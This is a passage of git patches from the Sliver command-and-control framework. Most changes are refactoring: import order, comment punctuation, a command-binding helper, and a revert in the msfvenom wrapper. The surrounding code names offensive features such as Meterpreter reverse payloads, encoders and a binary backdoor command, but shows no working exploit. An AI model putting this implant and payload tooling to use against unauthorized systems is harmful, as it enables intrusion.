nil { diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index ef9da5a69d..6a808bc95b 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -22,13 +22,12 @@ import ( "context" "strconv" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// WGSocksStopCmd - Stop a WireGuard SOCKS proxy +// WGSocksStopCmd - Stop a WireGuard SOCKS proxy. func WGSocksStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index 1bc1b13385..f0fe2e2ea2 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -22,16 +22,15 @@ import ( "context" "strconv" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// WGSocksListCmd - List WireGuard SOCKS proxies +// WGSocksListCmd - List WireGuard SOCKS proxies. func WGSocksListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/constants/constants.go b/client/constants/constants.go index 104b89a699..a906378154 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -18,105 +18,105 @@ package constants along with this program. If not, see . */ -// Meta +// Meta. const ( - // KeepAliveStr - Keep alive constant + // KeepAliveStr - Keep alive constant. KeepAliveStr = "keepalive" ) const ( - // LastUpdateCheckFileName - Last update check file name + // LastUpdateCheckFileName - Last update check file name. LastUpdateCheckFileName = "last_update_check" ) -// Console +// Console. const ( ImplantMenu = "implant" ServerMenu = "" ) -// Events +// Events. const ( - // UpdateStr - "update" + // UpdateStr - "update". UpdateStr = "update" - // VersionStr - "version" + // VersionStr - "version". VersionStr = "version" - // EventStr - "event" + // EventStr - "event". EventStr = "event" - // ServersStr - "server-error" + // ServersStr - "server-error". ServerErrorStr = "server-error" - // ConnectedEvent - Sliver Connected + // ConnectedEvent - Sliver Connected. SessionOpenedEvent = "session-connected" - // DisconnectedEvent - Sliver disconnected + // DisconnectedEvent - Sliver disconnected. SessionClosedEvent = "session-disconnected" - // UpdateEvent - Sliver updated + // UpdateEvent - Sliver updated. SessionUpdateEvent = "session-updated" - // JoinedEvent - Player joined the game + // JoinedEvent - Player joined the game. JoinedEvent = "client-joined" - // LeftEvent - Player left the game + // LeftEvent - Player left the game. LeftEvent = "client-left" - // CanaryEvent - A DNS canary was triggered + // CanaryEvent - A DNS canary was triggered. CanaryEvent = "canary" - // WatchtowerEvent - An implant hash has been identified on a threat intel platform + // WatchtowerEvent - An implant hash has been identified on a threat intel platform. WatchtowerEvent = "watchtower" - // StartedEvent - Job was started + // StartedEvent - Job was started. JobStartedEvent = "job-started" - // StoppedEvent - Job was stopped + // StoppedEvent - Job was stopped. JobStoppedEvent = "job-stopped" - // BuildEvent - Fires on change to builds + // BuildEvent - Fires on change to builds. BuildEvent = "build" - // BuildCompletedEvent - Fires when a build completes + // BuildCompletedEvent - Fires when a build completes. BuildCompletedEvent = "build-completed" - // ProfileEvent - Fires whenever there's a change to profiles + // ProfileEvent - Fires whenever there's a change to profiles. ProfileEvent = "profile" - // WebsiteEvent - Fires whenever there's a change to websites + // WebsiteEvent - Fires whenever there's a change to websites. WebsiteEvent = "website" - // LootAdded + // LootAdded. LootAddedEvent = "loot-added" - // LootRemoved + // LootRemoved. LootRemovedEvent = "loot-removed" - // BeaconRegisteredEvent - First connection from a new beacon + // BeaconRegisteredEvent - First connection from a new beacon. BeaconRegisteredEvent = "beacon-registered" - // BeaconTaskResult - Beacon task completed with a result + // BeaconTaskResult - Beacon task completed with a result. BeaconTaskResultEvent = "beacon-taskresult" - // ExternalBuildEvent + // ExternalBuildEvent. ExternalBuildEvent = "external-build" AcknowledgeBuildEvent = "external-acknowledge" ExternalBuildFailedEvent = "external-build-failed" ExternalBuildCompletedEvent = "external-build-completed" - // TrafficEncoder Events + // TrafficEncoder Events. TrafficEncoderTestProgressEvent = "traffic-encoder-test-progress" - // Crackstation Events + // Crackstation Events. CrackstationConnected = "crackstation-connected" CrackstationDisconnected = "crackstation-disconnected" - // Crack Events - Events consumed by crackstations + // Crack Events - Events consumed by crackstations. CrackBenchmark = "crack-benchmark" CrackStatusEvent = "crack-status" - // WireGuardNewPeer - New Wireguard peer added + // WireGuardNewPeer - New Wireguard peer added. WireGuardNewPeer = "wireguard-newpeer" ) -// Commands +// Commands. const ( OperatorsStr = "operators" NewOperatorStr = "new-operator" @@ -144,9 +144,9 @@ const ( SearchStr = "search" TrafficEncodersStr = "traffic-encoders" - // Generic + // Generic. - // NewStr - "new" + // NewStr - "new". NewStr = "new" AddStr = "add" StartStr = "start" @@ -294,16 +294,16 @@ const ( Hcstat2Str = "hcstat2" ) -// Groups +// Groups. const ( - // Server commands ===================== + // Server commands =====================. GenericHelpGroup = "Generic" NetworkHelpGroup = "Network" PayloadsHelpGroup = "Payload" DataHelpGroup = "Data" SliverHelpGroup = "Sliver" - // Sliver commands ===================== + // Sliver commands =====================. SliverCoreHelpGroup = "Core" InfoHelpGroup = "Info" FilesystemHelpGroup = "Filesystem" @@ -314,13 +314,13 @@ const ( AliasHelpGroup = "Sliver - 3rd Party macros" ExtensionHelpGroup = "Sliver - 3rd Party extensions" - // Useless + // Useless. SliverWinHelpGroup = "Sliver - Windows" MultiplayerHelpGroup = "Multiplayer" ) // Command types / filters (per OS/type/C2/etc) -// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below, +// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below,. const ( SessionCmdsFilter = "session" BeaconCmdsFilter = "beacon" @@ -328,7 +328,7 @@ const ( WireguardCmdsFilter = "wireguard" ) -// Creds (needed here to avoid recursive imports) +// Creds (needed here to avoid recursive imports). const ( UserColonHashNewlineFormat = "user:hash" // username:hash\n HashNewlineFormat = "hash" // hash\n From d5c1daaa480482efb94fb7108d3e160269fd6451 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 19:36:57 +0200 Subject: [PATCH 027/124] Simplify binding commands with groups --- client/command/command.go | 66 +++++++++++++++++++++------------------ client/command/server.go | 14 ++++++--- client/command/sliver.go | 24 ++++++++------ 3 files changed, 61 insertions(+), 43 deletions(-) diff --git a/client/command/command.go b/client/command/command.go index 27831efe6a..e9f2c66601 100644 --- a/client/command/command.go +++ b/client/command/command.go @@ -77,6 +77,42 @@ func RestrictTargets(filters ...string) map[string]string { } } +// makeBind returns a commandBinder helper function +// @menu - The command menu to which the commands should be bound (either server or implant menu). +func makeBind(cmd *cobra.Command, con *client.SliverConsoleClient) func(group string, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { + return func(group string, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { + found := false + + // Ensure the given command group is available in the menu. + if group != "" { + for _, grp := range cmd.Groups() { + if grp.Title == group { + found = true + break + } + } + + if !found { + cmd.AddGroup(&cobra.Group{ + ID: group, + Title: group, + }) + } + } + + // Bind the command to the root + for _, command := range cmds { + cmd.AddCommand(command(con)...) + } + } +} + +// commandBinder is a helper used to bind commands to a given menu, for a given "command help group". +// +// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. +// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. +type commandBinder func(group string, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) + // [ Core ] // [ Sessions ] // [ Execution ] @@ -99,33 +135,3 @@ func RestrictTargets(filters ...string) map[string]string { // - double bind help command // - double bind session commands // - don't bind readline command in CLI. - -// bind is a helper used to bind a list of root commands to a given menu, for a given "command help group". -// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package. -// @menu - The command menu to which the commands should be bound (either server or implant menu). -// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function. -func bind(group string, menu *cobra.Command, con *client.SliverConsoleClient, cmds ...func(con *client.SliverConsoleClient) []*cobra.Command) { - found := false - - // Ensure the given command group is available in the menu. - if group != "" { - for _, grp := range menu.Groups() { - if grp.Title == group { - found = true - break - } - } - - if !found { - menu.AddGroup(&cobra.Group{ - ID: group, - Title: group, - }) - } - } - - // Bind the command to the root - for _, command := range cmds { - menu.AddCommand(command(con)...) - } -} diff --git a/client/command/server.go b/client/command/server.go index f30aebe52f..ce694d550c 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -63,6 +63,12 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. }, } + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(server, con) + if serverCmds != nil { server.AddGroup(&cobra.Group{ID: consts.MultiplayerHelpGroup, Title: consts.MultiplayerHelpGroup}) server.AddCommand(serverCmds()...) @@ -77,7 +83,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. // the present calls. // Core - bind(consts.GenericHelpGroup, server, con, + bind(consts.GenericHelpGroup, exit.Command, licenses.Commands, settings.Commands, @@ -91,21 +97,21 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra. ) // C2 Network - bind(consts.NetworkHelpGroup, server, con, + bind(consts.NetworkHelpGroup, jobs.Commands, websites.Commands, wireguard.Commands, ) // Payloads - bind(consts.PayloadsHelpGroup, server, con, + bind(consts.PayloadsHelpGroup, sgn.Commands, generate.Commands, builders.Commands, ) // Slivers - bind(consts.SliverHelpGroup, server, con, + bind(consts.SliverHelpGroup, use.Commands, info.Commands, sessions.Commands, diff --git a/client/command/sliver.go b/client/command/sliver.go index 3c4161ab2e..2ba0a8c68e 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -61,8 +61,14 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { }, } + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(sliver, con) + // [ Core ] - bind(consts.SliverCoreHelpGroup, sliver, con, + bind(consts.SliverCoreHelpGroup, reconfig.Commands, // sessions.Commands, sessions.SliverCommands, @@ -73,7 +79,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { ) // [ Info ] - bind(consts.InfoHelpGroup, sliver, con, + bind(consts.InfoHelpGroup, // info.Commands, info.SliverCommands, screenshot.Commands, @@ -82,12 +88,12 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { ) // [ Filesystem ] - bind(consts.FilesystemHelpGroup, sliver, con, + bind(consts.FilesystemHelpGroup, filesystem.Commands, ) // [ Network tools ] - bind(consts.NetworkHelpGroup, sliver, con, + bind(consts.NetworkHelpGroup, network.Commands, rportfwd.Commands, portfwd.Commands, @@ -96,7 +102,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { ) // [ Execution ] - bind(consts.ExecutionHelpGroup, sliver, con, + bind(consts.ExecutionHelpGroup, shell.Commands, exec.Commands, backdoor.Commands, @@ -106,20 +112,20 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands { ) // [ Privileges ] - bind(consts.PrivilegesHelpGroup, sliver, con, + bind(consts.PrivilegesHelpGroup, privilege.Commands, ) // [ Processes ] - bind(consts.ProcessHelpGroup, sliver, con, + bind(consts.ProcessHelpGroup, processes.Commands, ) // [ Aliases ] - bind(consts.AliasHelpGroup, sliver, con) + bind(consts.AliasHelpGroup) // [ Extensions ] - bind(consts.ExtensionHelpGroup, sliver, con, + bind(consts.ExtensionHelpGroup, extensions.Commands, ) From af1e52b175133d513c8f225db02c3fb206dd1d41 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 19:41:30 +0200 Subject: [PATCH 028/124] Revert "Go fmt" This reverts commit d31592bd659b6fdbe996d3b903a50816b2f4c786. --- server/msf/msf.go | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/server/msf/msf.go b/server/msf/msf.go index 7420b00d01..18252d7ddf 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -38,20 +38,20 @@ const ( var ( msfLog = log.NamedLogger("msf", "venom") - // ValidArches - Support CPU architectures. + // ValidArches - Support CPU architectures ValidArches = map[string]bool{ "x86": true, "x64": true, } - // ValidEncoders - Valid MSF encoders. + // ValidEncoders - Valid MSF encoders ValidEncoders = map[string]bool{ "": true, "x86/shikata_ga_nai": true, "x64/xor_dynamic": true, } - // ValidPayloads - Valid payloads and OS combos. + // ValidPayloads - Valid payloads and OS combos validPayloads = map[string]map[string]bool{ "windows": { "meterpreter_reverse_http": true, @@ -102,7 +102,7 @@ var ( } ) -// VenomConfig -. +// VenomConfig - type VenomConfig struct { Os string Arch string @@ -117,13 +117,13 @@ type VenomConfig struct { AdvOptions string } -// Version - Return the version of MSFVenom. +// Version - Return the version of MSFVenom func Version() (string, error) { stdout, err := consoleCmd([]string{"--version"}) return string(stdout), err } -// VenomPayload - Generates an MSFVenom payload. +// VenomPayload - Generates an MSFVenom payload func VenomPayload(config VenomConfig) ([]byte, error) { // Check if msfvenom is in the path if _, err := exec.LookPath(venomBin); err != nil { @@ -216,7 +216,7 @@ func VenomPayload(config VenomConfig) ([]byte, error) { return venomCmd(args) } -// venomCmd - Execute a msfvenom command. +// venomCmd - Execute a msfvenom command func venomCmd(args []string) ([]byte, error) { msfLog.Printf("%s %v", venomBin, args) cmd := exec.Command(venomBin, args...) @@ -235,7 +235,7 @@ func venomCmd(args []string) ([]byte, error) { return stdout.Bytes(), err } -// consoleCmd - Execute a msfvenom command. +// consoleCmd - Execute a msfvenom command func consoleCmd(args []string) ([]byte, error) { cmd := exec.Command(consoleBin, args...) var stdout bytes.Buffer @@ -252,7 +252,7 @@ func consoleCmd(args []string) ([]byte, error) { return stdout.Bytes(), err } -// Arch - Convert golang arch to msf arch. +// Arch - Convert golang arch to msf arch func Arch(arch string) string { if arch == "amd64" { return "x64" From 2ecb88dfdc054e7e847ea99c5931f981092da2f6 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 23 Jul 2023 21:24:42 +0200 Subject: [PATCH 029/124] Merge back beacon-commands client code --- client/cli/cli.go | 8 ++- client/command/alias/alias.go | 15 ++--- client/command/alias/commands.go | 5 +- client/command/alias/install.go | 9 ++- client/command/alias/load.go | 31 +++++---- client/command/alias/remove.go | 5 +- client/command/backdoor/backdoor.go | 5 +- client/command/builders/builders.go | 7 +- client/command/builders/commands.go | 5 +- client/command/command.go | 66 ++++++++++--------- client/command/crack/crack-files.go | 25 ++++--- client/command/creds/add.go | 4 +- client/command/creds/commands.go | 7 +- client/command/creds/creds.go | 13 ++-- client/command/creds/rm.go | 2 +- client/command/creds/select.go | 3 +- client/command/cursed/commands.go | 16 ++--- client/command/cursed/cursed-chrome.go | 5 +- client/command/cursed/cursed-console.go | 5 +- client/command/cursed/cursed-cookies.go | 3 +- client/command/cursed/cursed-edge.go | 6 +- client/command/cursed/cursed-electron.go | 3 +- client/command/cursed/cursed-rm.go | 3 +- client/command/cursed/cursed-screenshot.go | 3 +- client/command/cursed/cursed.go | 9 ++- client/command/exec/commands.go | 7 +- client/command/exec/execute-assembly.go | 7 +- client/command/exec/execute-shellcode.go | 12 ++-- client/command/exec/execute.go | 12 ++-- client/command/exec/migrate.go | 5 +- client/command/exec/msf-inject.go | 10 ++- client/command/exec/msf.go | 8 +-- client/command/exec/psexec.go | 6 +- client/command/exec/sideload.go | 8 +-- client/command/exec/spawndll.go | 8 +-- client/command/exec/ssh.go | 9 ++- client/command/exit/exit.go | 2 +- client/command/extensions/commands.go | 5 +- client/command/extensions/extensions.go | 13 ++-- client/command/extensions/install.go | 9 ++- client/command/extensions/list.go | 5 +- client/command/extensions/load.go | 25 ++++--- client/command/extensions/remove.go | 7 +- client/command/filesystem/cat.go | 9 ++- client/command/filesystem/cd.go | 8 +-- client/command/filesystem/chmod.go | 10 ++- client/command/filesystem/chown.go | 10 ++- client/command/filesystem/chtimes.go | 10 ++- client/command/filesystem/commands.go | 7 +- client/command/filesystem/cp.go | 6 +- client/command/filesystem/download.go | 7 +- client/command/filesystem/ls.go | 12 ++-- client/command/filesystem/memfiles-add.go | 9 ++- client/command/filesystem/memfiles-list.go | 9 ++- client/command/filesystem/memfiles-rm.go | 9 ++- client/command/filesystem/mkdir.go | 10 ++- client/command/filesystem/mv.go | 8 +-- client/command/filesystem/pwd.go | 10 ++- client/command/filesystem/rm.go | 10 ++- client/command/filesystem/upload.go | 10 ++- client/command/generate/commands.go | 11 +--- client/command/hosts/commands.go | 5 +- client/command/hosts/hosts-ioc-rm.go | 5 +- client/command/hosts/hosts-ioc.go | 7 +- client/command/hosts/hosts-rm.go | 5 +- client/command/hosts/hosts.go | 14 ++-- client/command/info/commands.go | 7 +- client/command/info/info.go | 15 ++--- client/command/info/ping.go | 5 +- client/command/pivots/graph.go | 5 +- client/command/pivots/helpers.go | 5 +- client/command/pivots/pivots.go | 11 ++-- client/command/pivots/start.go | 7 +- client/command/portfwd/commands.go | 16 ++--- client/command/portfwd/portfwd-add.go | 5 +- client/command/portfwd/portfwd-rm.go | 5 +- client/command/portfwd/portfwd.go | 15 ++--- client/command/reaction/commands.go | 7 +- client/command/reaction/helpers.go | 11 ++-- client/command/reaction/reaction.go | 9 ++- client/command/reaction/reload.go | 5 +- client/command/reaction/save.go | 5 +- client/command/reaction/set.go | 7 +- client/command/reaction/unset.go | 5 +- client/command/reconfig/commands.go | 5 +- client/command/reconfig/reconfig.go | 8 +-- client/command/reconfig/rename.go | 5 +- client/command/rportfwd/commands.go | 16 ++--- client/command/rportfwd/portfwd-add.go | 5 +- client/command/rportfwd/portfwd-rm.go | 5 +- client/command/rportfwd/portfwd.go | 11 ++-- client/command/screenshot/commands.go | 7 +- client/command/screenshot/screenshot.go | 10 ++- client/command/server.go | 24 ++++--- client/command/sessions/background.go | 5 +- client/command/sessions/close.go | 5 +- client/command/sessions/commands.go | 9 ++- client/command/sessions/helpers.go | 7 +- client/command/sessions/interactive.go | 5 +- client/command/sessions/prune.go | 5 +- client/command/sessions/sessions.go | 13 ++-- client/command/settings/beacons.go | 5 +- client/command/settings/commands.go | 5 +- client/command/settings/opsec.go | 9 ++- client/command/settings/settings.go | 19 +++--- client/command/settings/tables.go | 15 ++--- client/command/shell/commands.go | 15 ++--- client/command/shell/shell.go | 7 +- client/command/sliver.go | 25 ++++--- client/command/socks/commands.go | 16 ++--- client/command/socks/socks-start.go | 8 +-- client/command/socks/socks-stop.go | 5 +- client/command/socks/socks.go | 13 ++-- client/command/tasks/commands.go | 7 +- client/command/tasks/fetch.go | 15 ++--- client/command/tasks/helpers.go | 7 +- client/command/tasks/tasks-cancel.go | 5 +- client/command/tasks/tasks.go | 9 ++- client/command/update/commands.go | 7 +- client/command/update/update.go | 9 ++- client/command/wasm/commands.go | 7 +- client/command/wasm/wasm.go | 10 +-- client/command/websites/commands.go | 7 +- .../command/websites/websites-add-content.go | 5 +- .../command/websites/websites-rm-content.go | 5 +- client/command/websites/websites-rm.go | 5 +- .../websites/websites-update-content.go | 5 +- client/command/websites/websites.go | 13 ++-- client/command/wireguard/commands.go | 20 +++--- client/command/wireguard/wg-config.go | 5 +- client/command/wireguard/wg-portfwd-add.go | 5 +- client/command/wireguard/wg-portfwd-rm.go | 9 ++- client/command/wireguard/wg-portfwd.go | 7 +- client/command/wireguard/wg-socks-start.go | 5 +- client/command/wireguard/wg-socks-stop.go | 5 +- client/command/wireguard/wg-socks.go | 9 ++- server/cli/cli.go | 6 +- 137 files changed, 557 insertions(+), 684 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 892b335858..dd8fd6c30a 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -99,11 +99,13 @@ func newSliverClient() *client.SliverClient { // getSliverCommands returns the entire command tree of the Sliver Framework as yielder functions. func getSliverCommands(con *client.SliverClient) (server, sliver console.Commands) { - teamserverCmds := func() *cobra.Command { - return commands.Generate(con.Teamclient) + teamclientCmds := func() []*cobra.Command { + return []*cobra.Command{ + commands.Generate(con.Teamclient), + } } - serverCmds := command.ServerCommands(con, teamserverCmds) + serverCmds := command.ServerCommands(con, teamclientCmds) sliverCmds := command.SliverCommands(con) return serverCmds, sliverCmds diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index 595c8831f9..47bddfb9bb 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -24,17 +24,16 @@ import ( "io/ioutil" "strings" + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" ) -// AliasesCmd - The alias command +// AliasesCmd - The alias command. func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error { if 0 < len(loadedAliases) { PrintAliases(con) @@ -45,7 +44,7 @@ func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) er return nil } -// PrintAliases - Print a list of loaded aliases +// PrintAliases - Print a list of loaded aliases. func PrintAliases(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -88,7 +87,7 @@ func PrintAliases(con *console.SliverClient) { con.Println(tw.Render()) } -// AliasCommandNameCompleter - Completer for installed extensions command names +// AliasCommandNameCompleter - Completer for installed extensions command names. func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string { results := []string{} for name := range loadedAliases { @@ -129,7 +128,7 @@ func getInstalledManifests() map[string]*AliasManifest { return installedManifests } -// AliasCommandNameCompleter - Completer for installed extensions command names +// AliasCommandNameCompleter - Completer for installed extensions command names. func AliasCompleter() carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := []string{} diff --git a/client/command/alias/commands.go b/client/command/alias/commands.go index a30af147cd..d8b86be31f 100644 --- a/client/command/alias/commands.go +++ b/client/command/alias/commands.go @@ -1,13 +1,12 @@ package alias import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) // Commands returns the `alias` command and its child commands. diff --git a/client/command/alias/install.go b/client/command/alias/install.go index 6914c04085..663e9c0ebd 100644 --- a/client/command/alias/install.go +++ b/client/command/alias/install.go @@ -26,14 +26,13 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" ) -// AliasesInstallCmd - Install an alias +// AliasesInstallCmd - Install an alias. func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { aliasLocalPath := args[0] fi, err := os.Stat(aliasLocalPath) @@ -48,7 +47,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []str } } -// Install an extension from a directory +// Install an extension from a directory. func installFromDir(aliasLocalPath string, con *console.SliverClient) { manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName)) if err != nil { @@ -101,7 +100,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) { con.Printf("done!\n") } -// Install an extension from a .tar.gz file +// Install an extension from a .tar.gz file. func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { diff --git a/client/command/alias/load.go b/client/command/alias/load.go index ed4e31df32..7c684f1bab 100644 --- a/client/command/alias/load.go +++ b/client/command/alias/load.go @@ -28,11 +28,6 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - app "github.com/reeflective/console" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -40,6 +35,10 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" + app "github.com/reeflective/console" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" ) const ( @@ -53,7 +52,7 @@ const ( ) var ( - // alias name -> manifest/command + // alias name -> manifest/command. loadedAliases = map[string]*loadedAlias{} defaultHostProc = map[string]string{ @@ -63,20 +62,20 @@ var ( } ) -// Ties the manifest struct to the command struct +// Ties the manifest struct to the command struct. type loadedAlias struct { Manifest *AliasManifest Command *cobra.Command } -// AliasFile - An OS/Arch specific file +// AliasFile - An OS/Arch specific file. type AliasFile struct { OS string `json:"os"` Arch string `json:"arch"` Path string `json:"path"` } -// AliasManifest - The manifest for an alias, contains metadata +// AliasManifest - The manifest for an alias, contains metadata. type AliasManifest struct { Name string `json:"name"` Version string `json:"version"` @@ -135,7 +134,7 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string } } -// LoadAlias - Load an alias into the Sliver shell from a given directory +// LoadAlias - Load an alias into the Sliver shell from a given directory. func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) { // retrieve alias manifest var err error @@ -205,7 +204,7 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien return aliasManifest, nil } -// ParseAliasManifest - Parse an alias manifest +// ParseAliasManifest - Parse an alias manifest. func ParseAliasManifest(data []byte) (*AliasManifest, error) { // parse it alias := &AliasManifest{} @@ -474,25 +473,25 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// PrintSpawnDLLOutput - Prints the output of a spawn dll command +// PrintSpawnDLLOutput - Prints the output of a spawn dll command. func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult()) if outFilePath != nil { - outFilePath.Write([]byte(spawnDllResp.GetResult())) + outFilePath.WriteString(spawnDllResp.GetResult()) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } -// PrintSideloadOutput - Prints the output of a sideload command +// PrintSideloadOutput - Prints the output of a sideload command. func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult()) if outFilePath != nil { - outFilePath.Write([]byte(sideloadResp.GetResult())) + outFilePath.WriteString(sideloadResp.GetResult()) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } -// PrintAssemblyOutput - Prints the output of an execute-assembly command +// PrintAssemblyOutput - Prints the output of an execute-assembly command. func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) { con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput())) if outFilePath != nil { diff --git a/client/command/alias/remove.go b/client/command/alias/remove.go index c3b075b5b7..850b2cd292 100644 --- a/client/command/alias/remove.go +++ b/client/command/alias/remove.go @@ -25,10 +25,9 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) // AliasesRemoveCmd - Locally load a alias into the Sliver shell. @@ -54,7 +53,7 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } } -// RemoveAliasByCommandName - Remove an alias by command name +// RemoveAliasByCommandName - Remove an alias by command name. func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") diff --git a/client/command/backdoor/backdoor.go b/client/command/backdoor/backdoor.go index af220da2c4..474903358d 100644 --- a/client/command/backdoor/backdoor.go +++ b/client/command/backdoor/backdoor.go @@ -21,13 +21,12 @@ package backdoor import ( "fmt" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// BackdoorCmd - Command to inject implant code into an existing binary +// BackdoorCmd - Command to inject implant code into an existing binary. func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/builders/builders.go b/client/command/builders/builders.go index 42e7b9a008..d7049d7263 100644 --- a/client/command/builders/builders.go +++ b/client/command/builders/builders.go @@ -23,16 +23,15 @@ import ( "fmt" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// BuildersCmd - List external builders +// BuildersCmd - List external builders. func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { builders, err := 